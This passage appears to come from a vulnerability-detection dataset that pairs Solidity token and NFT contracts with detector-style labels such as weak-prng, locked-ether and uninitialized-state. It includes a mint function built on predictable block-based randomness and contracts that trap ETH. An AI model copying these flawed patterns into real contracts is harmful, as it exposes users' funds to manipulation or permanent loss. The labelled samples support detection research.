* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) private pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "./IERC165.sol";
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165 is IERC165 {
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165).interfaceId;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165 {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// SPDX-License-Identifier: MIT
pragma solidity 0.8.2;
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Burnable.sol";
contract PartyApes is ERC721, Ownable, ERC721Burnable {
using Strings for uint256;
mapping (uint256 => string) private _tokenURIs;
mapping(uint256 => bool) public minted;
string private _baseURIextended;
address public beneficiary;
address public USDC;
uint256 public mintFee; // USDC has 6 decimal, please careful, when setting the fee
uint256 public maxToken = 1000;
uint256 mintedCount = 0;
uint256[] mintedNumber;
uint256 _randomNonce = 0;
constructor(address _owner, uint256 _mintFee, string memory _tokenURIPrefix, address _beneficiary, address _usdc) ERC721("PartyApes", "pApes") {
transferOwnership(_owner);
mintFee = _mintFee;
_baseURIextended = _tokenURIPrefix;
beneficiary = _beneficiary;
USDC = _usdc;
}
function mint() external {
require(IERC20(USDC).balanceOf(caller()) >= mintFee, "Mint:: Insufficient Balance");
require(transferMintFee() == true, "Mint:: Transfer Failed");
require(mintedCount < maxToken, "Limit reached");
uint256 _randomTokenId = _random() % (maxToken-mintedCount);
require(!_exists(_randomTokenId), "Mint: token already minted");
_safeMint(_randomTokenId);
}
function _safeMint(uint256 _id) internal {
_mint(caller(), _id);
_setTokenURI(_id, string(abi.encodePacked(_baseURI(), _id)));
mintedCount++;
mintedNumber.push(_id);
minted[_id] = true;
}
function totalSupply() public view virtual returns (uint256) {
return mintedCount;
}
function _random() internal view returns(uint256) {
return uint256(keccak256(abi.encodePacked(block.timestamp + block.difficulty + ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / block.timestamp) + block.gaslimit + ((uint256(keccak256(abi.encodePacked(_msgSender())))) / block.timestamp) + block.number))) / (maxToken - mintedCount);
}
function caller() internal view returns(address) {
return msg.sender;
}
function transferMintFee() internal returns(bool) {
return IERC20(USDC).transferFrom(caller(), beneficiary, mintFee);
}
function changeMintFee(uint256 _newFee) external onlyOwner {
mintFee = _newFee;
}
function setBaseURI(string memory baseURI_) public onlyOwner() {
_baseURIextended = baseURI_;
}
function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual {
require(_exists(tokenId), "_setTokenURI: URI set of nonexistent token");
_tokenURIs[tokenId] = _tokenURI;
}
function _baseURI() internal view virtual override returns (string memory) {
return _baseURIextended;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "tokenURI: URI query for nonexistent token");
string memory _tokenURI = _tokenURIs[tokenId];
string memory base = _baseURI();
if (bytes(base).length == 0) {
return _tokenURI;
}
if (bytes(_tokenURI).length > 0) {
return string(abi.encodePacked(base, tokenId.toString()));
}
return string(abi.encodePacked(base, tokenId.toString()));
}
function returnAllMinted() external view onlyOwner returns (uint256[] memory) {
return mintedNumber;
}
}
| These are the vulnerabilities found
1) weak-prng with High impact
2) unused-return with Medium impact |
pragma solidity ^0.4.16;
interface tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) external; }
contract JTCCtoken {
// Public variables of the token
string public name;
string public symbol;
uint8 public decimals = 18;
// 18 decimals is the strongly suggested default, avoid changing it
uint256 public totalSupply;
// This creates an array with all balances
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
// This generates a public event on the blockchain that will notify clients
event Transfer(address indexed from, address indexed to, uint256 value);
// This generates a public event on the blockchain that will notify clients
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
// This notifies clients about the amount burnt
event Burn(address indexed from, uint256 value);
/**
* Constructor function
*
* Initializes contract with initial supply tokens to the creator of the contract
*/
function JTCCtoken(
uint256 initialSupply,
string tokenName,
string tokenSymbol
) public {
totalSupply = initialSupply * 10 ** uint256(decimals); // Update total supply with the decimal amount
balanceOf[msg.sender] = totalSupply; // Give the creator all initial tokens
name = tokenName; // Set the name for display purposes
symbol = tokenSymbol; // Set the symbol for display purposes
}
/**
* Internal transfer, only can be called by this contract
*/
function _transfer(address _from, address _to, uint _value) internal {
// Prevent transfer to 0x0 address. Use burn() instead
require(_to != 0x0);
// Check if the sender has enough
require(balanceOf[_from] >= _value);
// Check for overflows
require(balanceOf[_to] + _value >= balanceOf[_to]);
// Save this for an assertion in the future
uint previousBalances = balanceOf[_from] + balanceOf[_to];
// Subtract from the sender
balanceOf[_from] -= _value;
// Add the same to the recipient
balanceOf[_to] += _value;
emit Transfer(_from, _to, _value);
// Asserts are used to use static analysis to find bugs in your code. They should never fail
assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
}
/**
* Transfer tokens
*
* Send `_value` tokens to `_to` from your account
*
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
_transfer(msg.sender, _to, _value);
return true;
}
/**
* Transfer tokens from other address
*
* Send `_value` tokens to `_to` on behalf of `_from`
*
* @param _from The address of the sender
* @param _to The address of the recipient
* @param _value the amount to send
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
require(_value <= allowance[_from][msg.sender]); // Check allowance
allowance[_from][msg.sender] -= _value;
_transfer(_from, _to, _value);
return true;
}
/**
* Set allowance for other address
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
*/
function approve(address _spender, uint256 _value) public
returns (bool success) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* Destroy tokens
*
* Remove `_value` tokens from the system irreversibly
*
* @param _value the amount of money to burn
*/
function burn(uint256 _value) public returns (bool success) {
require(balanceOf[msg.sender] >= _value); // Check if the sender has enough
balanceOf[msg.sender] -= _value; // Subtract from the sender
totalSupply -= _value; // Updates totalSupply
emit Burn(msg.sender, _value);
return true;
}
/**
* Destroy tokens from other account
*
* Remove `_value` tokens from the system irreversibly on behalf of `_from`.
*
* @param _from the address of the sender
* @param _value the amount of money to burn
*/
function burnFrom(address _from, uint256 _value) public returns (bool success) {
require(balanceOf[_from] >= _value); // Check if the targeted balance is enough
require(_value <= allowance[_from][msg.sender]); // Check allowance
balanceOf[_from] -= _value; // Subtract from the targeted balance
allowance[_from][msg.sender] -= _value; // Subtract from the sender's allowance
totalSupply -= _value; // Update totalSupply
emit Burn(_from, _value);
return true;
}
} | No vulnerabilities found |
/**
________ __ __ ________ ______ __ __ ________ _______ ______ __ __ ______
| | \ | | \ / \| \ | | \ | \| | \ | \/ \
\$$$$$$$| $$ | $| $$$$$$$$ | $$$$$$| $$\ | $| $$$$$$$$ | $$$$$$$\\$$$$$| $$\ | $| $$$$$$\
| $$ | $$__| $| $$__ | $$ | $| $$$\| $| $$__ | $$__| $$ | $$ | $$$\| $| $$ __\$$
| $$ | $$ $| $$ \ | $$ | $| $$$$\ $| $$ \ | $$ $$ | $$ | $$$$\ $| $$| \
| $$ | $$$$$$$| $$$$$ | $$ | $| $$\$$ $| $$$$$ | $$$$$$$\ | $$ | $$\$$ $| $$ \$$$$
| $$ | $$ | $| $$_____ | $$__/ $| $$ \$$$| $$_____ | $$ | $$_| $$_| $$ \$$$| $$__| $$
| $$ | $$ | $| $$ \ \$$ $| $$ \$$| $$ \ | $$ | $| $$ | $$ \$$$\$$ $$
\$$ \$$ \$$\$$$$$$$$ \$$$$$$ \$$ \$$\$$$$$$$$ \$$ \$$\$$$$$$\$$ \$$ \$$$$$$
🔥 The One Ring was forged in the Ethereum Doom by the Dark Lord Sauron. Sauron intended it to be the most powerful weapon for the strongest holder. 🔥
⭕ One Ring's rules ⭕
▶ If you make the biggest buy (in tokens) you will hold the One Ring for one hour, and collect 4% fees (in ETH) the same way marketing does.
Once the hour is finished, the counter will be reset and everyone will be able to compete again for the One Ring.
▶ If you sell any tokens at all at any point you are not worthy of the One Ring.
▶ If someone beats your record, they steal you the One Ring.
Website: https://oneringeth.com
Twitter: https://twitter.com/OneringETH
Telegram: https://t.me/OneRingEntry
___
.';:;'.
/_' _' /\ __
;a/ e= J/-'" '.
\ ~_ ( -' ( ;_ ,.
L~"'_. -. \ ./ )
,'-' '-._ _; )' (
.' .' _.'") \ \( |
/ ( .-' __\{`', \ |
/ .' / _.-' " ; / |
/ / '-._'-, / / \ (
__/ (_ ,;' .-' / / /_'-._
`"-'` ~` ccc.' __.',' \j\L\
.='/|\7
' `
*/
pragma solidity ^0.7.4;
// SPDX-License-Identifier: Unlicensed
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function decimals() external view returns (uint8);
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function balanceOf(address account) external view returns (uint256);
function allowance(address _owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract ERC20Interface {
function balanceOf(address whom) public view virtual returns (uint256);
}
contract OneRing is IERC20 {
using SafeMath for uint256;
string constant _name = "ONERING";
string constant _symbol = "RING";
uint8 constant _decimals = 18;
address DEAD = 0x000000000000000000000000000000000000dEaD;
address ZERO = 0x0000000000000000000000000000000000000000;
uint256 _totalSupply = 10000 * (10**_decimals);
mapping(address => uint256) _balances;
mapping(address => mapping(address => uint256)) _allowances;
constructor() {
}
receive() external payable {}
function name() external pure override returns (string memory) {
return _name;
}
function symbol() external pure override returns (string memory) {
return _symbol;
}
function decimals() external pure override returns (uint8) {
return _decimals;
}
function totalSupply() external view override returns (uint256) {
return _totalSupply;
}
function getCirculatingSupply() public view returns (uint256) {
return _totalSupply.sub(balanceOf(DEAD)).sub(balanceOf(ZERO));
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function allowance(address holder, address spender)
external
view
override
returns (uint256)
{
return _allowances[holder][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function approveMax(address spender) external returns (bool) {
return approve(spender, uint256(-1));
}
} | These are the vulnerabilities found
1) uninitialized-state with High impact
2) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT221854' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT221854
// Name : ADZbuzz Shopify.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT221854";
name = "ADZbuzz Shopify.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'ACT121670' token contract
//
// Deployed to : 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187
// Symbol : ACT121670
// Name : ADZbuzz Sportingnews.com Community Token
// Total supply: 2000000
// Decimals : 8
//
// Enjoy.
//
// (c) by Moritz Neto with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// (c) by Darwin Jayme with ADZbuzz Ltd. UK (adzbuzz.com) 2018.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) public pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) public pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) public pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) public pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract ADZbuzzCommunityToken is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function ADZbuzzCommunityToken() public {
symbol = "ACT121670";
name = "ADZbuzz Sportingnews.com Community Token";
decimals = 8;
_totalSupply = 200000000000000;
balances[0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187] = _totalSupply;
emit Transfer(address(0), 0x3f70c0B02879c36162C2C902ECfe9Ac0a8a8a187, _totalSupply);
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account tokenOwner
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to to account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer tokens from the from account to the to account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the from account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
emit Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for spender to transferFrom(...) tokens
// from the token owner's account. The spender contract function
// receiveApproval(...) is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
emit Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// Don't accept ETH
// ------------------------------------------------------------------------
function () public payable {
revert();
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | These are the vulnerabilities found
1) locked-ether with Medium impact |
pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// BokkyPooBah's Token Teleportation Service v1.10
//
// https://github.com/bokkypoobah/BokkyPooBahsTokenTeleportationServiceSmartContract
//
// Enjoy. (c) BokkyPooBah / Bok Consulting Pty Ltd 2018. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
